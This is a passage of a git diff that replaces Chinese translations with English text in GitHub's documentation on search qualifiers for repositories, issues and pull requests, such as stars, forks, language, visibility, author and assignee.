| -| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) 匹配具有至少 205 个复刻的仓库。 | -| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) 匹配具有少于 90 个复刻的仓库。 | -| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) 匹配具有 10 到 20 个复刻的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks. +| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks. +| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks. +| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks. -## 按星号数量搜索 +## Search by number of stars -您可以使用大于、小于和范围限定符，基于仓库的星标数量来搜索仓库。 更多信息请参阅“[使用星标保存仓库](/github/getting-started-with-github/saving-repositories-with-stars)”和“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 +You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 限定符 | 示例 | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) 匹配恰好具有 500 个星号的仓库。 | -| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) 匹配具有 10 到 20 个星号、小于 1000 KB 的仓库。 | -| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) 匹配具有至少 500 个星号，包括复刻的星号（以 PHP 编写）的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars. +| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB. +| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP. -## 按仓库创建或上次更新时间搜索 +## Search by when a repository was created or last updated -您可以基于创建时间或上次更新时间过滤仓库。 对于仓库创建，您可以使用 `created` 限定符；要了解仓库上次更新的时间，您要使用 `pushed` 限定符。 `pushed` 限定符将返回仓库列表，按仓库中任意分支上最近进行的提交排序。 +You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository. -两者均采用日期作为参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 限定符 | 示例 | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) 匹配具有 "webos" 字样、在 2011 年之前创建的仓库。 | -| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) 匹配具有 "css" 字样、在 2013 年 1 月之后收到推送的仓库。 | -| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) 匹配具有 "case" 字样、在 2013 年 3 月 6 日或之后收到推送并且作为复刻的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011. +| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013. +| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks. -## 按语言搜索 +## Search by language -您可以根据仓库中代码的语言搜索仓库。 +You can search repositories based on the language of the code in the repositories. -| 限定符 | 示例 | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | -| language:LANGUAGE | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) 匹配具有 "rails" 字样、以 JavaScript 编写的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| language:LANGUAGE | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript. -## 按主题搜索 +## Search by topic -您可以找到按特定主题分类的所有仓库。 更多信息请参阅“[使用主题对仓库分类](/github/administering-a-repository/classifying-your-repository-with-topics)”。 +You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)." -| 限定符 | 示例 | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- | -| topic:TOPIC | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults)匹配已归类为 "jekyll" 主题的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| topic:TOPIC | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "jekyll." -## 按主题数量搜索 +## Search by number of topics -您可以使用 `topics` 限定符以及大于、小于和范围限定符，根据应用于仓库的主题数量来搜索仓库。 更多信息请参阅“[使用主题对仓库分类](/github/administering-a-repository/classifying-your-repository-with-topics)”和“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 +You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 限定符 | 示例 | -| -------------------------- | -------------------------------------------------------------------------------------------------------------------------- | -| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) 匹配具有五个主题的仓库。 | -| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) 匹配超过三个主题的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics. +| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics. {% ifversion fpt or ghes or ghec %} -## 按许可搜索 +## Search by license -您可以根据仓库中许可的类型搜索仓库。 您必须使用许可关键字，按特定许可或许可系列来过滤仓库。 更多信息请参阅“[许可仓库](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)”。 +You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)." -| 限定符 | 示例 | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) 匹配根据 Apache License 2.0 授权的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0. {% endif %} -## 按仓库可见性搜索 +## Search by repository visibility -您可以根据仓库的可见性过滤搜索。 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。 +You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %} | `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test". | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) 匹配您可以访问并且包含单词 "pages" 的私有仓库。 +| Qualifier | Example +| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} +| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages." {% ifversion fpt or ghec %} -## 基于仓库是否为镜像搜索 +## Search based on whether a repository is a mirror -您可以根据仓库是否为镜像以及托管于其他位置托管来搜索仓库。 更多信息请参阅“[寻找在 {% data variables.product.prodname_dotcom %} 上参与开源项目的方法](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)”。 +You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." -| 限定符 | 示例 | -| -------------- | ------------------------------------------------------------------------------------------------------------------------ | -| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) 匹配是镜像且包含 "GNOME" 字样的仓库。 | -| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) 匹配并非镜像且包含 "GNOME" 字样的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME." +| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME." {% endif %} -## 基于仓库是否已存档搜索 +## Search based on whether a repository is archived -您可以基于仓库是否已存档来搜索仓库。 更多信息请参阅“[存档仓库](/repositories/archiving-a-github-repository/archiving-repositories)”。 +You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)." -| 限定符 | 示例 | -| ---------------- | --------------------------------------------------------------------------------------------------------------------------- | -| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) 匹配已存档且包含 "GNOME" 字样的仓库。 | -| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) 匹配未存档且包含 "GNOME" 字样的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME." +| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME." {% ifversion fpt or ghec %} -## 基于具有 `good first issue` 或 `help wanted` 标签的议题数量搜索 +## Search based on number of issues with `good first issue` or `help wanted` labels -您可以使用限定符 `help-wanted-issues:>n` 和 `good-first-issues:>n` 搜索具有最少数量标签为 `help-wanted` 或 `good-first-issue` 议题的仓库。 更多信息请参阅“[通过标签鼓励对项目做出有益的贡献](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)”。 +You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)." -| 限定符 | 示例 | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `good-first-issues:>n` | [**good-first-issues:>2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) 匹配具有超过两个标签为 `good-first-issue` 的议题且包含 "javascript" 字样的仓库。 | -| `help-wanted-issues:>n` | [**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) 匹配具有超过四个标签为 `help-wanted` 的议题且包含 "React" 字样的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| `good-first-issues:>n` | [**good-first-issues:>2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript." +| `help-wanted-issues:>n`|[**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React." -## 基于赞助能力的搜索 +## Search based on ability to sponsor -您可以使用 `is:sponsorable` 限定符在 {% data variables.product.prodname_sponsors %} 上搜索其所有者可以赞助的仓库。 更多信息请参阅“[关于 {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)”。 +You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)." -您可以使用 `has:funding-file` 限定符搜索具有融资文件的仓库。 更多信息请参阅“[关于融资文件](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)”。 +You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)." -| 限定符 | 示例 | -| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------- | -| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) 匹配其所有者具有 {% data variables.product.prodname_sponsors %} 配置文件的仓库。 | -| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) 匹配具有 FUNDING.yml 文件的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile. +| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file. {% endif %} -## 延伸阅读 +## Further reading -- “[排序搜索结果](/search-github/getting-started-with-searching-on-github/sorting-search-results/)” -- “[在复刻中搜索](/search-github/searching-on-github/searching-in-forks)” +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)" diff --git a/translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md index 8c7703a869..53bb4c70c6 100644 --- a/translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md +++ b/translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md @@ -1,6 +1,6 @@ --- -title: 搜索议题和拉取请求 -intro: '您可以在 {% data variables.product.product_name %} 上搜索代码，并使用这些代码搜索限定符的任意组合缩小结果范围。' +title: Searching issues and pull requests +intro: 'You can search for issues and pull requests on {% data variables.product.product_name %} and narrow the results using these search qualifiers in any combination.' redirect_from: - /articles/searching-issues/ - /articles/searching-issues-and-pull-requests @@ -13,332 +13,338 @@ versions: ghec: '*' topics: - GitHub search -shortTitle: 搜索议题和 PR +shortTitle: Search issues & PRs --- - -您可以在所有 {% data variables.product.product_name %} 内全局搜索议题和拉取请求，也可以在特定组织内搜索议题和拉取请求。 更多信息请参阅“[关于在 {% data variables.product.company_short %} 上搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)”。 +You can search for issues and pull requests globally across all of {% data variables.product.product_name %}, or search for issues and pull requests within a particular organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." {% tip %} -**提示：**{% ifversion ghes or ghae %} - - 本文章包含在 {% data variables.product.prodname_dotcom %}.com 网站上的示例搜索，但您可以在 {% data variables.product.product_location %} 上使用相同的搜索过滤器。{% endif %} - - 有关可以添加到任何搜索限定符以进一步改善结果的搜索语法列表，请参阅“[了解搜索语法](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)”。 - - 对多个字词的搜索词使用引号。 例如，如果要搜索具有标签 "In progress" 的议题，可搜索 `label:"in progress"`。 搜索不区分大小写。 +**Tips:**{% ifversion ghes or ghae %} + - This article contains example searches on the {% data variables.product.prodname_dotcom %}.com website, but you can use the same search filters on {% data variables.product.product_location %}.{% endif %} + - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)". + - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive. - {% data reusables.search.search_issues_and_pull_requests_shortcut %} {% endtip %} -## 仅搜索议题或拉取请求 +## Search only issues or pull requests -默认情况下，{% data variables.product.product_name %} 搜索将返回议题和拉取请求。 但您可以使用 `type` 或 `is` 限定符将搜索结果限制为仅议题或拉取请求。 +By default, {% data variables.product.product_name %} search will return both issues and pull requests. However, you can restrict search results to just issues or pull requests using the `type` or `is` qualifier. -| 限定符 | 示例 | -| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) 匹配含有 "cat" 字样的拉取请求。 | -| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) 匹配含有 "github" 字样且由 @defunkt 评论的议题。 | -| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) 匹配含有 "event" 字样的拉取请求。 | -| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) 匹配具有标签 "bug" 的已关闭议题。 | +| Qualifier | Example +| ------------- | ------------- +| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) matches pull requests with the word "cat." +| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) matches issues that contain the word "github," and have a comment by @defunkt. +| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) matches pull requests with the word "event." +| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) matches closed issues with the label "bug." -## 按标题、正文或评论搜索 +## Search by the title, body, or comments -通过 `in` 限定符，您可以将搜索限制为标题、正文、评论或这些的任意组合。 如果省略此限定符，则标题、正文和评论全部搜索。 +With the `in` qualifier you can restrict your search to the title, body, comments, or any combination of these. When you omit this qualifier, the title, body, and comments are all searched. -| 限定符 | 示例 | -| ------------- | ------------------------------------------------------------------------------------------------------------------- | -| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) 匹配其标题中含有 "warning" 的议题。 | -| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) 匹配其标题或正文中含有 "error" 的议题。 | -| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) 匹配其评论中提及 "shipit" 的议题。 | +| Qualifier | Example +| ------------- | ------------- +| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) matches issues with "warning" in their title. +| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) matches issues with "error" in their title or body. +| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) matches issues mentioning "shipit" in their comments. -## 在用户或组织的仓库内搜索 +## Search within a user's or organization's repositories -要在特定用户或组织拥有的所有仓库中搜索议题和拉取请求，您可以使用 `user` 或 `org` 限定符。 要在特定仓库中搜索议题和拉取请求，您可以使用 `repo` 限定符。 +To search issues and pull requests in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search issues and pull requests in a specific repository, you can use the `repo` qualifier. {% data reusables.pull_requests.large-search-workaround %} -| 限定符 | 示例 | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) 匹配含有 "ubuntu" 字样、来自 @defunkt 拥有的仓库的议题。 | -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) 匹配 GitHub 组织拥有的仓库中的议题。 | -| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) 匹配来自 @mozilla 的 shumway 项目、在 2012 年 3 月之前创建的议题。 | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) matches issues with the word "ubuntu" from repositories owned by @defunkt. +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) matches issues in repositories owned by the GitHub organization. +| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) matches issues from @mozilla's shumway project that were created before March 2012. -## 按开放或关闭状态搜索 +## Search by open or closed state -您可以使用 `state` 或 `is` 限定符基于议题和拉取请求处于打开还是关闭状态进行过滤。 +You can filter issues and pull requests based on whether they're open or closed using the `state` or `is` qualifier. -| 限定符 | 示例 | -| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) 匹配提及 @vmg 且含有 "libraries" 字样的开放议题。 | -| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) 匹配正文中含有 "design" 字样的已关闭议题。 | -| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) 匹配含有 "performance" 字样的开放议题。 | -| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) 匹配含有 "android" 字样的已关闭议题和拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) matches open issues that mention @vmg with the word "libraries." +| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) matches closed issues with the word "design" in the body. +| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) matches open issues with the word "performance." +| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) matches closed issues and pull requests with the word "android." -## 按仓库可见性过滤 +## Filter by repository visibility -您可以使用 `is` 限定符，按包含议题和拉取请求的仓库的可见性进行过滤。 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。 +You can filter by the visibility of the repository containing the issues and pull requests using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion fpt or ghes or ghae or ghec %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. +| Qualifier | Example +| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} +| `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. -## 按作者搜索 +## Search by author -`author` 限定符查找由特定用户或集成帐户创建的议题和拉取请求。 +The `author` qualifier finds issues and pull requests created by a certain user or integration account. -| 限定符 | 示例 | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | -| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) 匹配含有 "cool" 字样、由 @gjtorikian 创建的议题和拉取请求。 | -| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) 匹配由 @mdo 撰写、正文中含有 "bootstrap" 字样的议题。 | -| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) 匹配由名为 "robot" 的集成帐户创建的议题。 | +| Qualifier | Example +| ------------- | ------------- +| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) matches issues and pull requests with the word "cool" that were created by @gjtorikian. +| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) matches issues written by @mdo that contain the word "bootstrap" in the body. +| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) matches issues created by the integration account named "robot." -## 按受理人搜索 +## Search by assignee -`assignee` 限定符查找分配给特定用户的议题和拉取请求。 您无法搜索具有 _any_ 受理人的议题和拉取请求，但可以搜索[没有受理人的议题和拉取请求](#search-by-missing-metadata)。 +The `assignee` qualifier finds issues and pull requests that are assigned to a certain user. You cannot search for issues and pull requests that have _any_ assignee, however, you can search for [issues and pull requests that have no assignee](#search-by-missing-metadata). -| 限定符 | 示例 | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| assignee:USERNAME | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) 匹配分配给 @vmg 的 libgit2 项目 libgit2 中的议题和拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| assignee:USERNAME | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) matches issues and pull requests in libgit2's project libgit2 that are assigned to @vmg. -## 按提及搜索 +## Search by mention -`mentions` 限定符查找提及特定用户的议题。 更多信息请参阅“[提及人员和团队](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)”。 +The `mentions` qualifier finds issues that mention a certain user. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)." -| 限定符 | 示例 | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | -| mentions:USERNAME | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) 匹配含有 "resque" 字样、提及 @defunkt 的议题。 | +| Qualifier | Example +| ------------- | ------------- +| mentions:USERNAME | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) matches issues with the word "resque" that mention @defunkt. -## 按团队提及搜索 +## Search by team mention -对于您所属的组织和团队，您可以使用 `team` 限定符查找提及该组织内特定团队的议题或拉取请求。 将这些示例名称替换为您的组织和团队的名称以执行搜索。 +For organizations and teams you belong to, you can use the `team` qualifier to find issues or pull requests that @mention a certain team within that organization. Replace these sample names with your organization and team name to perform a search. -| 限定符 | 示例 | -| ------------------------- | ------------------------------------------------------------- | -| team:ORGNAME/TEAMNAME | 